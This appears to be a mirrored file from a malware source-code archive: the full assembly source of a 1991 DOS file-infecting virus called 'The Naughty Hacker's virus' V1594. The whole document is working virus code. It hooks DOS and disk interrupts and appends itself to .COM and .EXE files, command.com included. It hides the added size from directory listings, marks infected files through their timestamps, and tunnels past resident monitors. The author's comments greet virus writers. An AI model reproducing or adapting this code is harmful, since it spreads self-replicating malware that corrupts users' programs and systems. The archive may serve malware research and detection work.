mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
958 lines
16 KiB
NASM
958 lines
16 KiB
NASM
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.radix 16
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;*********************************
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;* The Naughty Hacker's virus *
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;*VERSION 3.1 (And not the last.)*
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;* ( V1594 ) *
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;* Finished on the 10.04.1991 *
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;* *
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;* Glad to meet you friend! *
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;* *
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;*********************************
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;
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; "It's hard to find a black cat in a dark room, especially if it's not there."
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;
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; <20>°¥¤ ¢ ± ±²®¨ ®°¨£¨ «¨¿ ²¥ª±² V1594 ( ª® ¬®¦¥ ² ª ¤ ª ¦¥ !@!?!).
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; €¢²®°º² (Š®¿) ¯°¥¤¢ °¨²¥«® ¯°¥¤³¯°¥¦¤ ¢ ,·¥ ¥ ¦¥« ¥ ²®§¨ ²¥ª±² ¤ ¡º¤¥
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; ¯°®¬¥¿ ¯® ¨ª ªº¢ ·¨, ® ª® ¦¥« ¥²¥ ¤ £® ³±º¢º°¸¥±²¢ ²¥ ¬®¦¥ ¤
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; ¯° ¢¨²¥ ²®¢ ¯º«® ±¢®¡®¤® ¯°¨ ¥¤¨±²¢¥®²® ³±«®¢¨¥, ·¥ ¢ ¯®«³·¥ ²
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; ®¢ ¢¥°±¨¿ ¿¬ ¤ ¨¬ ¨ª ª¢¨ ° §°³¸¨²¥«¨ ´³ª¶¨¨.
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; €¢²®°º² ¥ ¯®¥¬ ¨ª ª¢ ®²£®¢®°®±² § ¹¥²¨ ¯°¨·¨¥¨ ®² ‚ˆ<E2809A>“‘€ ......
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;
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; „ ±¥ ª®¬¯¨«¨° TURBO ASSEMBLER Ver 1.03B. ’ ª ¯®«³·¥¨¿ ª®¤ ¥ £®²®¢
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; § ±² °²¨° ¥ ¨ ....
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;
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; <20>®§¤° ¢¨ ¤® ¢±¨·ª¨ VIRUSWRITERS !
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;
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;
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; To be continued ...
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;
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call Start_Virus
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mov dx,offset Hellomsg
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mov ah,9
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int 21
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int 20
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Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$'
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Virus_lenght equ endcode-adjust
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alllen equ buffer-adjust
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adjust label word
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IP_save label word
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First_3 Label Byte
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;For .COM file here stores
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ret
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nop
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nop
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CS_save dw ? ;The first 3 bytes
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SP_save dw ?
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SS_save dw 0FFFF ;0FFFF For COM files
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signature:
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db 'N.Hacker' ;It's me the HORSE !!!
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date_stamp:
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dd 10041991 ;10.04.1991
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Run_The_Program:
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pop ds ;Restore saved ds,es,ax
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pop es ;ds=es=PSP
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pop ax
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cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program
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je Run_COM_File
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mov ax,ds ;Calculate load segment
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add ax,10
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mov bx,ax
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add ax,cs:[bp+CS_save-adjust] ;Calculate CS value
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add bx,cs:[bp+SS_save-adjust] ;Calculate SS value
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mov ss,bx ;Run .EXE program
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mov sp,word ptr cs:[bp+SP_save-adjust]
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push ax
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push word ptr cs:[bp+IP_save-adjust]
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retf
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Run_COM_File:
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mov di,100
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mov si,bp
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movsb ;Restore the first 3 bytes
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movsw ;Run .COM program
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mov bx,100
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push bx
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sub bh,bh
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ret
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;*******************************************************************
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; *
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; This is the program entry.... *
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; *
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;*******************************************************************
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Start_Virus:
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call Get_IP ;This is to get the IP value.
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Get_IP:
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pop bp ;Get it in BP.
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sub bp,Get_IP-adjust ;adjust BP point to the begining
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cld ;Clear direction flag
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push ax ;Save some registres
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push es
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push ds
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mov es,[2] ;get last segment
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mov di,Run_The_Program-adjust ;(last segment=segment of virus)
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push ds
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push cs
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pop ds
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mov si,di
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add si,bp
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mov cx,endcode-Run_The_Program
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rep cmpsb ;check if virus is in memory
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pop ds
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push ds
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pop es
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je Run_The_Program ;If so then run the program
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mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
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mov ax,ds
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dec ax
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mov ds,ax ;ds=MCB
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sub word ptr [3],80 ;Set block size
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sub word ptr [12],80 ;Set last segment
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mov es,[12] ;steal some memory (2K)
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push cs
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pop ds
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sub di,di
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mov si,bp ;prepare to move in high mem
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mov cx,alllen ;will move virus+variables
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rep movsb ;copy there
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push cs
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mov ax,Run_The_Program-adjust
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add ax,bp
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push ax
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push es
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mov ax,offset Set_Vectors-adjust ;Set vectors
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push ax
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retf
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Find_First_Next:
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call Call_Original_INT_21h ;fuck when do the dir command
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push bx
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push es
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push ax
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or al,al
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jnz Go_Out_ ;if error
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mov ah,2f ;get DTA address
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int 21
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mov al,byte ptr es:[bx+30d] ;Seconds in al
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and al,31d ;Mask seconds
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cmp al,60d/2 ;Seconds=60?
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jne Go_Out_
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mov ax,es:[bx+36d]
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mov dx,es:[bx+38d] ;Check File size
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cmp ax,Virus_lenght*2
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sbb dx,0
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jb Go_Out_
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Adjust_Size:
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sub es:[bx+28d+7+1],Virus_lenght ;Adjust size
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sbb es:[bx+28d+2+7+1],0
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Go_Out_:
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pop ax
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pop es ;Return to caller
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pop bx
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iret
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Find_First_Next1:
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call Call_Original_INT_21h
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pushf
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push ax
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push bx ;fuck again
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push es
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jc Go_Out_1
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mov ah,2f
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int 21
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mov al,es:[bx+22d]
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and al,31d
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cmp al,60d/2
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jne Go_Out_1
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mov ax,es:[bx+26d]
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mov dx,es:[bx+28d]
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cmp ax,Virus_lenght*2
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sbb dx,0
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jb Go_Out_1
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Adjust_Size1:
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sub es:[bx+26d],Virus_lenght
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sbb es:[bx+28d],0
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Go_Out_1:
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pop es
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pop bx
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pop ax ; Dummy proc far
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popf ; ret 2
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db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
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;*************************************
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; *
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; Int 21 entry point. *
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; *
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;*************************************
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INT_21h_Entry_Point:
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cmp ah,11
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je Find_First_Next ;Find First Next (old)
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cmp ah,12
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je Find_First_Next
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cmp ah,4e ;Find First Next (new)
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je Find_First_Next1
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cmp ah,4f
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je Find_First_Next1
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cmp ah,6ch
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jne not_create ;Create (4.X)
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test bl,1
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jz not_create
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jnz create
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not_create:
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cmp ah,3ch ;Create (3.X)
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je create
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cmp ah,5bh
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je create
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push ds
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push es
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mov byte ptr cs:[function-adjust],ah
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cmp ah,6ch ;Open (4.X)
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je create_
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cmp ah,3e ;Close
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je close_
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cmp ax,4b00 ;Exec
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je Function_4Bh
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cmp ah,17 ;Rename (old)
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je ren_FCB
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cmp ah,56 ;Rename (new)
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je Function_4Bh
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cmp ah,43 ;Change attributes
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je Function_4Bh
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cmp ah,3dh ;Open (3.X)
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je open
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Return_Control:
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pop es
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pop ds
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pop bp
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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Go_out:
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jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
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create_:
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or bl,bl ;Create file?
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jnz Return_Control
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mov dx,si
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jmp Function_4Bh
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ren_FCB:
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cld
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inc dx
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mov si,dx
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mov di,offset buffer-adjust
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push di
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push cs
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pop es ;Convert FCB format Fname into ASCIIZ string
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mov cx,8
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rep movsb
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mov al,'.'
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stosb
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mov cx,3
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rep movsb
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sub al,al
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stosb
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pop dx
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push cs
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pop ds
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jmp Function_4Bh
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create:
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; cmp word ptr cs:[handle-adjust],0ffff
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; jne Go_out
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call Call_Original_INT_21h
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jc Error
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mov word ptr cs:[handle-adjust],ax
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jnc Exit_
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Error:
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mov word ptr cs:[handle-adjust],0ffff ;Useless
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Exit_:
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; retf 2
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db 0ca,2,0
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close_:
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cmp word ptr cs:[handle-adjust],0ffff
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je Return_Control
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cmp bx,word ptr cs:[handle-adjust]
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jne Return_Control
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mov ah,45
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call Infect_It
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mov word ptr cs:[handle-adjust],0ffff
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jmp Return_Control
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Function_4Bh:
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mov ax,3d00h
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open:
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call Infect_It
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jmp Return_Control
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;******************************************
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; *
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; This infects the programs... *
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; *
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;******************************************
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Infect_It:
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call Call_Original_INT_21h ;this is the infecting part
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jnc No_error
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ret
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No_error:
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xchg ax,bp
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mov byte ptr cs:[flag-adjust],0
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mov ah,54
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call Call_Original_INT_21h
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mov byte ptr cs:[veri-adjust],al
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cmp al,1 ;Switch off verify...
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jne Go_On_Setting
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mov ax,2e00
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call Call_Original_INT_21h
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Go_On_Setting:
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push cs
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push cs
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pop ds
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pop es
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mov dx,offset DOS_13h-adjust
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mov bx,dx ;Set New DOS int 13h
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mov ah,13
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call Call_Original_INT_2Fh
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mov ax,3513
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call Call_Original_INT_21h
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push bx
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push es
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mov word ptr cs:[current_13h-adjust],bx
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mov word ptr cs:[current_13h-adjust+2],es
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mov ah,25
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mov dx,INT_13h_entry-adjust ;Set int 13h
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push cs
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pop ds
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call Call_Original_INT_21h
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mov ax,3524
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call Call_Original_INT_21h
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push bx
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push es
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mov ah,25
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mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
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call Call_Original_INT_21h
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xchg bx,bp
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push bx
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mov ax,1220
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call Call_Original_INT_2Fh
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mov bl,es:[di] ;Remember the good old V512 ?
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mov ax,1216
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call Call_Original_INT_2Fh
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pop bx
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add di,11
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mov byte ptr es:[di-15d],2
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mov ax,es:[di]
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mov dx,es:[di+2]
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cmp ax,Virus_lenght+1
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sbb dx,0
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jnb Go_on
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jmp close
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Go_on:
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cmp byte ptr cs:[function-adjust],3dh
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je Scan_name
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cmp byte ptr cs:[function-adjust],6ch
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jne Dont_Scan_Name
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Scan_name:
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push di
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add di,0f
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mov si,offset fname-adjust ;wasn't that the last opened file?
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cld
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mov cx,8+3
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rep cmpsb
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pop di
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jne Dont_Scan_Name
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jmp close
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Dont_Scan_Name:
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cmp es:[di+18],'MO'
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jne Check_For_EXE ;check for .COM file
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cmp byte ptr es:[di+17],'C'
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jne Check_For_EXE
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jmp com
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Check_For_EXE:
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cmp es:[di+18],'EX'
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jne Not_good ;check for .EXE file
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cmp byte ptr es:[di+17],'E'
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je Check_For_Valid_EXE
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Not_good:
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jmp close
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Check_For_Valid_EXE:
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call Read_First_18
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cmp word ptr [si],'ZM'
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je Valid_EXE ;check for valid .EXE file
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cmp word ptr [si],'MZ'
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je Valid_EXE
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jmp close
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Valid_EXE:
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cmp word ptr [si+0c],0ffff ;only low-mem .EXE
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je Low_Mem
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jmp close
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Low_Mem:
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mov cx,[si+16]
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add cx,[si+8] ;Something common with EDDIE..
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mov ax,10
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mul cx
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add ax,[si+14]
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adc dx,0
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mov cx,es:[di]
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sub cx,ax
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xchg cx,ax
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mov cx,es:[di+2]
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sbb cx,dx
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or cx,cx
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jnz Not_Infected_EXE ;infected?
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cmp ax,(endcode-Start_Virus)
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jne Not_Infected_EXE
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jmp close
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Not_Infected_EXE:
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mov ax,[si+10]
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mov [SP_save-adjust],ax
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mov ax,[si+0e]
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mov [SS_save-adjust],ax
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mov ax,[si+14]
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mov [IP_save-adjust],ax
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mov ax,[si+16]
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mov [CS_save-adjust],ax ;set the new header
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mov ax,es:[di]
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mov dx,es:[di+2]
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add ax,Virus_lenght
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adc dx,0
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mov cx,200 ;(C) by Lubo & Jan...
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div cx
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mov [si+2],dx
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or dx,dx
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jz OK_MOD
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inc ax
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OK_MOD:
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mov [si+4],ax
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mov ax,es:[di]
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mov dx,es:[di+2]
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mov cx,4
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push ax
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Compute:
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shr dx,1
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rcr ax,1
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loop Compute
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pop dx
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and dx,0f
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sub ax,[si+8]
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add dx,Start_Virus-adjust
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adc ax,0
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mov [si+14],dx
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mov [si+16],ax
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add ax,(Virus_lenght)/16d+1
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mov [si+0eh],ax
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mov [si+10],100
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write:
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mov ax,5700
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call Call_Original_INT_21h
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push cx
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push dx
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sub cx,cx
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mov es:[di+4],cx
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mov es:[di+6],cx
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mov cl,20
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xchg cl,byte ptr es:[di-0dh]
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push cx
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mov ah,40 ;this writes the first few bytes and glues the virus
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mov dx,buffer-adjust
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mov cx,18
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call Call_Original_INT_21h
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mov ax,es:[di]
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mov es:[di+4],ax
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mov ax,es:[di+2]
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mov es:[di+6],ax
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call Check_For_COMMAND ;(C)
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jne Dont_Adjust_Size
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sub es:[di+4],Virus_lenght
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sbb es:[di+6],0 ;???????????????????????????????
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Dont_Adjust_Size:
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mov ah,40
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sub dx,dx
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mov cx,Virus_lenght
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call Call_Original_INT_21h
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pop cx
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mov byte ptr es:[di-0dh],cl
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pop dx
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pop cx
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cmp byte ptr cs:[flag-adjust],0ff
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je Set_Time_and_Date
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exit:
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call Check_For_COMMAND
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je Set_Time_and_Date
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and cl,11100000b
|
||
or cl,60d/2
|
||
|
||
Set_Time_and_Date:
|
||
|
||
mov ax,5701
|
||
call Call_Original_INT_21h
|
||
close:
|
||
|
||
mov ah,3e
|
||
call Call_Original_INT_21h
|
||
push es
|
||
pop ds
|
||
mov si,di
|
||
add si,0f
|
||
mov di,fname-adjust
|
||
push cs
|
||
pop es
|
||
mov cx,8+3 ;save the fname to a quit place
|
||
cld
|
||
rep movsb
|
||
push cs
|
||
pop ds
|
||
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
jne Dont_Clear_Buffers
|
||
mov ah,0dh ;if error occured->clear disk buffers
|
||
|
||
call Call_Original_INT_21h
|
||
|
||
Dont_Clear_Buffers:
|
||
|
||
les bx,[org_13h-adjust]
|
||
lds dx,[org_13h-adjust]
|
||
mov ah,13
|
||
call Call_Original_INT_2Fh
|
||
|
||
cmp byte ptr cs:[veri-adjust],1
|
||
jne Restore_Vectors
|
||
mov ax,2e01
|
||
|
||
call Call_Original_INT_21h
|
||
|
||
Restore_Vectors:
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
pop [24*4+2]
|
||
pop [24*4]
|
||
pop [13*4+2]
|
||
pop [13*4] ;restore vectors and return
|
||
ret
|
||
com:
|
||
test byte ptr es:[di-0dh],4 ;if it is a system file
|
||
jnz Not_OK_COM_File ;I had some problems here with
|
||
;V1160 & V1776 (with the ball)
|
||
cmp es:[di],65535d-Virus_lenght*2-100
|
||
ja Not_OK_COM_File
|
||
|
||
call Read_First_18
|
||
cmp byte ptr [si],0E9
|
||
jne OK_COM_file
|
||
mov ax,es:[di]
|
||
sub ax,[si+1] ;infected?
|
||
cmp ax,(endcode-Start_Virus+3)
|
||
je Not_OK_COM_File
|
||
|
||
OK_COM_file:
|
||
|
||
mov word ptr [SS_save-adjust],0FFFF
|
||
push si
|
||
lodsb
|
||
mov word ptr [First_3-adjust],ax
|
||
lodsw
|
||
mov word ptr [First_3-adjust+1],ax
|
||
pop si
|
||
mov ax,es:[di]
|
||
add ax,Start_Virus-adjust-3
|
||
call Check_For_COMMAND
|
||
jne Normally
|
||
sub ax,Virus_lenght
|
||
|
||
Normally:
|
||
|
||
mov byte ptr [si],0E9
|
||
mov word ptr [si+1],ax
|
||
jmp write
|
||
|
||
Not_OK_COM_File:
|
||
|
||
jmp close
|
||
|
||
Set_Vectors:
|
||
|
||
sub ax,ax
|
||
mov ds,ax
|
||
|
||
push [1*4]
|
||
push [1*4+2] ; <= (C) by N.Hacker.
|
||
|
||
pushf
|
||
pushf
|
||
pushf
|
||
pushf
|
||
|
||
mov byte ptr cs:[flag-adjust],ah
|
||
mov byte ptr cs:[my_flag-adjust],ah
|
||
mov word ptr cs:[limit-adjust],300
|
||
mov word ptr cs:[mem_-adjust],org_21h-adjust
|
||
|
||
mov [1*4],offset trap-adjust
|
||
mov [1*4+2],cs
|
||
|
||
call set_trace
|
||
|
||
mov ax,3521
|
||
|
||
call dword ptr [21h*4]
|
||
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov word ptr cs:[mem_-adjust],org_2fh-adjust
|
||
|
||
call set_trace
|
||
|
||
mov ax,1200
|
||
|
||
call dword ptr [2fh*4] ;do trace int 2f
|
||
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov byte ptr cs:[my_flag-adjust],0FF
|
||
mov word ptr cs:[limit-adjust],0C800
|
||
mov word ptr cs:[mem_-adjust],org_13h-adjust
|
||
|
||
call set_trace
|
||
|
||
sub ax,ax
|
||
mov dl,al
|
||
|
||
call dword ptr [13h*4] ;do trace int 13
|
||
|
||
mov byte ptr cs:[flag-adjust],0
|
||
mov word ptr cs:[limit-adjust],0F000
|
||
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
|
||
|
||
call set_trace
|
||
|
||
sub ax,ax
|
||
mov dl,al
|
||
|
||
call dword ptr [13h*4]
|
||
|
||
pop [1*4+2]
|
||
pop [1*4]
|
||
|
||
les ax,[21*4]
|
||
mov word ptr cs:[current_21h-adjust],ax ;get old int 21
|
||
mov word ptr cs:[current_21h-adjust+2],es
|
||
mov [21*4], INT_21h_Entry_Point-adjust ;set it
|
||
mov [21*4+2],cs
|
||
retf
|
||
|
||
set_trace:
|
||
|
||
pushf
|
||
pop ax
|
||
or ax,100
|
||
push ax
|
||
popf
|
||
ret
|
||
|
||
trap:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
push di
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
je off
|
||
mov di,word ptr cs:[mem_-adjust]
|
||
mov bx,word ptr cs:[limit-adjust]
|
||
cmp [bp+4],bx
|
||
pushf
|
||
cmp word ptr cs:[my_flag-adjust],0ff
|
||
jne It_Is_JA
|
||
|
||
popf
|
||
jb Go_out_of_trap
|
||
jmp It_Is_JB
|
||
|
||
It_Is_JA:
|
||
|
||
popf
|
||
ja Go_out_of_trap
|
||
|
||
It_Is_JB:
|
||
|
||
mov bx,[bp+2]
|
||
mov word ptr cs:[di],bx
|
||
mov bx,[bp+4]
|
||
mov word ptr cs:[di+2],bx
|
||
mov byte ptr cs:[flag-adjust],0ff
|
||
off:
|
||
and [bp+6],0feff
|
||
|
||
Go_out_of_trap:
|
||
|
||
pop di
|
||
pop bx
|
||
pop bp
|
||
iret
|
||
|
||
Call_Original_INT_21h:
|
||
|
||
pushf
|
||
call dword ptr cs:[org_21h-adjust]
|
||
ret
|
||
|
||
Call_Original_INT_2Fh:
|
||
|
||
pushf
|
||
call dword ptr cs:[org_2fh-adjust]
|
||
ret
|
||
|
||
INT_24h_entry:
|
||
|
||
mov al,3
|
||
iret
|
||
|
||
;**************************
|
||
; (C) by N.Hacker. *
|
||
; (bellow) *
|
||
;**************************
|
||
|
||
INT_13h_entry:
|
||
|
||
mov byte ptr cs:[next_flag-adjust],0
|
||
|
||
cmp ah,2
|
||
jne Other
|
||
|
||
cmp byte ptr cs:[function-adjust],03Eh
|
||
jne Dont_hide
|
||
|
||
dec byte ptr cs:[next_flag-adjust]
|
||
inc ah
|
||
jmp Dont_hide
|
||
|
||
Other:
|
||
|
||
cmp ah,3
|
||
jne Dont_hide
|
||
|
||
cmp byte ptr cs:[flag-adjust],0ff
|
||
je no_error_
|
||
|
||
cmp byte ptr cs:[function-adjust],03Eh
|
||
je Dont_hide
|
||
|
||
inc byte ptr cs:[next_flag-adjust]
|
||
dec ah
|
||
|
||
Dont_hide:
|
||
|
||
pushf
|
||
call dword ptr cs:[current_13h-adjust]
|
||
jnc no_error_
|
||
mov byte ptr cs:[flag-adjust],0ff
|
||
|
||
no_error_:
|
||
|
||
clc
|
||
db 0ca,02,0 ;retf 2
|
||
|
||
|
||
DOS_13h:
|
||
|
||
cmp byte ptr cs:[next_flag-adjust],0
|
||
je OK
|
||
|
||
cmp ah,2
|
||
je Next
|
||
cmp ah,3
|
||
jne OK
|
||
Next:
|
||
cmp byte ptr cs:[next_flag-adjust],1
|
||
jne Read
|
||
inc ah
|
||
jne OK
|
||
Read:
|
||
|
||
dec ah
|
||
OK:
|
||
test dl,80
|
||
jz Floppy
|
||
jmp dword ptr cs:[org_13h-adjust]
|
||
Floppy:
|
||
jmp dword ptr cs:[Floppy_org_13h-adjust]
|
||
|
||
|
||
Read_First_18:
|
||
|
||
sub ax,ax
|
||
mov es:[di+4],ax
|
||
mov es:[di+6],ax
|
||
mov ah,3f
|
||
mov cx,18
|
||
mov dx,buffer-adjust
|
||
mov si,dx
|
||
call Call_Original_INT_21h
|
||
ret
|
||
|
||
Check_For_COMMAND:
|
||
|
||
cmp es:[di+0f],'OC'
|
||
jne Not_COMMAND
|
||
cmp es:[di+11],'MM'
|
||
jne Not_COMMAND
|
||
cmp es:[di+13],'NA'
|
||
jne Not_COMMAND ;check for command.com
|
||
cmp es:[di+15],' D'
|
||
jne Not_COMMAND
|
||
cmp es:[di+17],'OC'
|
||
jne Not_COMMAND
|
||
cmp byte ptr es:[di+19],'M'
|
||
|
||
Not_COMMAND:
|
||
|
||
ret
|
||
|
||
endcode label word
|
||
|
||
current_21h dd ?
|
||
null dd ? ;I forgot to remove this variable...
|
||
current_13h dd ?
|
||
org_2fh dd ?
|
||
org_13h dd ?
|
||
org_21h dd ?
|
||
Floppy_org_13h dd ?
|
||
flag db ? ;0ff if error occures
|
||
veri db ?
|
||
handle dw ?
|
||
fname db 8+3 dup (?)
|
||
function db ?
|
||
my_flag db ?
|
||
limit dw ?
|
||
mem_ dw ?
|
||
next_flag db ?
|
||
|
||
buffer label word
|
||
|